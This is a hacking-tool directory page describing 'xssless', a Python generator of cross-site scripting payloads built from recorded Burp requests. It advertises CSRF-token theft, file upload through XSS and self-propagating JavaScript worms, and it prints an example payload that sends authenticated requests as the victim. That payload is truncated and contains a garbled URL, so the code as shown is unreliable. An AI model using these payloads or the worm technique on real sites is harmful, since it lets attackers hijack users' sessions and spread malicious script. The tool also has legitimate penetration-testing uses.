Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
xssless — An automated XSS payload generator written in python. | Kitploit
Tools/GitHubGitHub/mandatoryprogrammer/xssless
Payload GenerationScripting & AutomationWeb Application ExploitationPenetration Testing
GitHubmandatoryprogrammer/xssless

xssless

An automated XSS payload generator written in python.

View Repository
313721110 years agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

xssless

An automated XSS payload generator written in python.

Usage

  1. Record request(s) with Burp proxy
  2. Select request(s) you want to generate, then right click and select "Save items"
  3. Use xssless to generate your payload: ./xssless.py burp_export_file
  4. Pwn!

A more detailed tutorial can be found here

Features

  • Automated XSS payload generation from imported Burp proxy requests
  • Payloads are 100% asynchronous and won't freeze the user's browser
  • Payloads are optimized, but should be minimized by a third party tool
  • CSRF tokens can be easily extracted and set via the -p option
  • POST multipart is supported, along with XSS file uploading via the -f option
  • Payloads are dynamic and portable (due to relative URLs)
  • Self propagation is now supported - meaning you can set a POST value to the payload itself!
  • Crazy JavaScript worms with no hassle!

Upcoming

  • Suggestions?

Installation

Download the latest xssless:

git clone https://github.com/mandatoryprogrammer/xssless

Run the script:

./xssless.py -h

Example Payload

This is an example XSS payload output (uncompressed) that parses CSRF tokens and uploads a binary all via XSS!

Example command line usage: ./xssless.py -s -f=example_file_list.txt -p=example_csrf_token_list.txt file_upload

<script type="text/javascript">
    m();
    function m() {
        var funcNum = 0;
        doRequest = function(url, method, body)
        {
            var http = window.XMLHttpRequest ? new XMLHttpRequest() : new ActiveXObject("Microsoft.XMLHTTP");
            http.withCredentials = true;
            http.onreadystatechange = function() {
                if (this.readyState == 4) {
                    var response = http.responseText; 
                    var d = document.implementation.createHTMLDocument("");
                    d.documentElement.innerHTML = response;
                    requestDoc = d;
                    funcNum++;
                    try {
                        window['r' + funcNum](https://github.com/mandatoryprogrammer/xssless/blob/master/requestDoc);
                    } catch (error) {}
                }    
            };
            if (method == "MPOST") {
                http.open('POST', url, true);
                var bound = Math.random().toString(36).slice(2);
                body = body.split("BOUNDMARKER").join(bound);
                http.setRequestHeader('Content-type', 'multipart/form-data, boundary=' + bound);
                http.setRequestHeader('Content-length', body.length);
                http.setRequestHeader('Connection', 'close');
                http.sendAsBinary(body);
                    
            }
            if (method == "GET") {
                http.open('GET', url, true); 
                http.send();
            }
    
        }
        r0();
    }
    function r0(requestDoc){
        doRequest('/uploader/', 'GET', '');
    }
Download Tool